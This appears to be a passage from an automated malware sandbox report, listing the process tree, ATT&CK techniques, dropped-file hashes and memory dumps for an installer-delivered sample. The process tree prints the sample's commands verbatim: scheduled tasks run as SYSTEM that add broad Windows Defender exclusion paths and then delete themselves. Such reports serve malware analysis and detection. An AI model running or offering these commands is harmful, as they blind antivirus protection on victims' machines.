- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2220
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2136

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tG4ba5" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tG4ba5" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3152

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4852

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4944

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2636

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5744

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6132
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3392

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59864e.rbs

Path C:\Config.Msi\e59864e.rbs
Size 7KB
SHA256 44a1bb5ba6732d863644bbf65b3b6ee43eaeead9b244288ca88b7f89a6c86d6f
MD5 416f597e12e14749dfceae0fd6952c38
SHA1 67b3487177fc38ae1a2953a9578f76f2074c9d33
SHA512 a7c199529ad79b8e1371598b9113d14afa144d0ffd9776c4ba8e3007d1cfac591777165d2ee111748602f767fb5fccf758d4c715478f78dec6418d08933beae4
SSDEEP 192:UXSCItlzFIIdFIW7d7A0aXWjPwE/w3KpbNxFaTEbZ1:UOtRFpFL7dc/XWjPwE/w6NxFaTEbZ1
TLSH
T113F11F45BF0596D2EF962B34C71727253BB2D3DD9241634B0DCE80B06F0778A9ED528A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ObY66b.exe

Path C:\Users\Public\tG4ba5\ObY66b.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\tG4ba5\UxEnhance64.dll
Size 3.1MB
SHA256 7ff418792e3e7dbba71d3e049acbcac5098900b4f1c4217a0be3a6bb0b5130b4
MD5 94542c9e975643f00c45a60540cde248
SHA1 04cf3a0a4f9d515f3876aa40b6f6e51657978a81
SHA512 83f0b3db817a29a33185e51fdf938c688ddb3ca4eb1df47020495def2898b7f7767fe74ee4668df27ebb761b643feb30160b6731b117b83ca9ebc53886bd411d
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+v:P9m29xx3Tiqt06ox6+z2rNNrKov
TLSH
T146E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\tG4ba5\adoresd.dat
Size 4.7MB
SHA256 0659607c6f44ea476b434c426ff2cc37e73aa8e5df8e0d625aed8216c7a7fe4b
MD5 71ae217cc396e3f809598b452d9878be
SHA1 1455fbb4608bb404d8e984de0528dc875c727eda
SHA512 7be6e239f1767db761bc9567cf703eddf29001a6114914a60284c19e3ba86eb977a7e95da9d392b676b37ab8007fc2b8e7974a8d0e23fc142396f2c3e64682ba
SSDEEP 98304:Tmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:6u1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1C93633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\tG4ba5\msadox.tb
Size 8KB
SHA256 b15e4d4e370a7af1f4d8b8f1ef69ed3d63d9c895289c82728cb2cbe5d7846868
MD5 6799665fb39f8a8dbafc058e33518d78
SHA1 471fe1a8e19fd972e52420f87c068b168b77e1c9
SHA512 5f03126e5e1467be149b68fb1632d70f8628ea8bd747a099ed65ec73333bc2a6bc27637e671019dadb20df4adb2e4ecb8b385b2f128d5702fa60680272ffe5de
SSDEEP 192:dqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:dsZqZOXQ3uqvR2Kfzp
TLSH
T198029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI8B7E.tmp

Path C:\Windows\Installer\MSI8B7E.tmp
Size 7.6MB
SHA256 ace187d71e6628719d10ee63651c64046988514b54dcbcabcb9670eb39b4b9d3
MD5 bed4f0273ee9241491ce24c2cec08006
SHA1 8ea3cd1951ef46d04c5adc498875741d8df1a5b8
SHA512 86c7f4126b0825ecb1123628fcd49642be91fb5b277274e0e0b4f958b9861b996e0928fbeafb46ccc986be86c13b38caed95b90bce421cc5ab00300006446ece
SSDEEP 98304:EuQ3X5Yt1g1MMtbzFqprAm2A8Gy49G9ZQrd/eJEl8cCVq4XKEp7vbrnbMuWi7Q7K:Ep3D1R6rF5y49kQR/HlCVqIjbbv6tqZ
TLSH
T1AA8633C13C8327B1E59BC7B4E11231AE7C2437DBB9BB4F2E76D5364059A2226A336744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e59864d.msi

Path C:\Windows\Installer\e59864d.msi
Size 7.7MB
SHA256 fe4aa8172beb88aced1bd5d474e6e0e5904e531242fb6041ad22839d335ce3cd
MD5 31d985cdf4b19db660e06c5273bc4ecc
SHA1 48a78c87f2d690d2afb7c635157058c841b32368
SHA512 5d2df9ce25a65beaff4d6a2e2dfb1011e6e2b544deabfa9a20c17c2515e33f0fa7529de00532a6a420601d7e5d8c4b5ba89e1e6cbca1ba4d9c737c2690b79ac2
SSDEEP 98304:IuQ3X5Yt1g1MMtbzFqprAm2A8Gy49G9ZQrd/eJEl8cCVd4XKEp7vbrnbMuWi7Q7S:Ip3D1R6rF5y49kQR/HlCVdIjbbv6tq1
TLSH
T1638633C17C822B71E55BC7B4A11231AE7D243FDBBABB4F1A77D4364029B1322A276744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 8c640026347ef7bd3d88a1ffa0e54571435f20696b91cbcc368895d2ffee5c33
MD5 a691459e7e0be0b7e57e7dd04996c7ba
SHA1 e213496d3f5d53b5693d76e10affcfe8aad658ca
SHA512 d2f11062804f1a2799e68c48ab2823e36f092dbfece1006365ddb349a42a513824b1a030e5d83f81715a53ad93559520e65870a5cec84e21fc3a234b6205a63f
SSDEEP 24576:uFo3DMP1doO/vvTL/SwJpilgfrejy7uKkkP7tknB/MnqZeIZ8YhWJwz4Nu1:KH8
TLSH
T17157F71836F92110F7F79E3CA8F0AA2749397D5B9C15DE8D45811B8E0821F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{216edad6-6096-44c7-ac55-89aad6fd2d56}_OnDiskSnapshotProp

Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{216edad6-6096-44c7-ac55-89aad6fd2d56}_OnDiskSnapshotProp
Size 6KB
SHA256 6d0ca799d43098d82da09f102f3cdd1a30c37f8a29717fd6e2d7dc93bdabebba
MD5 003b86b2b4b81511f590ff1921165102
SHA1 2eb4231d96cfeb3d7638ff4d7d17e3b6695f0384
SHA512 611bdae873d0517f8c1ed408bacb168cb197b4b2d9dc350c70bb256f44686d2f295fd3b690bb508589e8ca3a9087c1976117d566bca125cf830390eb11109abd
SSDEEP 96:FOfObFvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:QUb++uVm
TLSH
T122D167085AF54711E2F3AB3129F18557A877B911EF33CB8E0298238E6661910F875F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4412-110-0x0000022E70700000-0x0000022E7071E000-memory.dmp

Download

memory/4412-107-0x0000022E704A0000-0x0000022E704C2000-memory.dmp

Download

memory/4412-111-0x0000022E70720000-0x0000022E707D2000-memory.dmp

Download

memory/4412-112-0x0000022E704F0000-0x0000022E704FA000-memory.dmp

Download

memory/4532-70-0x00007FFE3E840000-0x00007FFE3E842000-memory.dmp

Download

memory/4532-91-0x000001FDE7AC0000-0x000001FDE7B4A000-memory.dmp

Download

memory/4532-67-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-61-0x00007FFE3E830000-0x00007FFE3E832000-memory.dmp

Download

memory/4532-71-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-75-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-76-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-77-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-78-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-82-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-90-0x000001FDE7AC0000-0x000001FDE7B4A000-memory.dmp

Download

memory/4532-62-0x00007FFE1B250000-0x00007FFE1B76E000-memory.dmp

Download

memory/4532-92-0x000001FDE7AC0000-0x000001FDE7B4A000-memory.dmp

Download

memory/4532-89-0x000001FDE7AC0000-0x000001FDE7B4A000-memory.dmp

Download

memory/4532-88-0x000001FDE79C0000-0x000001FDE7A0E000-memory.dmp

Download

memory/4532-95-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/4532-98-0x000001FDE8530000-0x000001FDE8DC1000-memory.dmp

Download

memory/5432-47-0x00007FFE36090000-0x00007FFE360A2000-memory.dmp

Download

memory/5432-16-0x00007FFE36090000-0x00007FFE360A2000-memory.dmp

Download

memory/5432-13-0x00007FFE1B120000-0x00007FFE1B76A000-memory.dmp

Download

memory/5432-12-0x00007FFE3E830000-0x00007FFE3E832000-memory.dmp

Download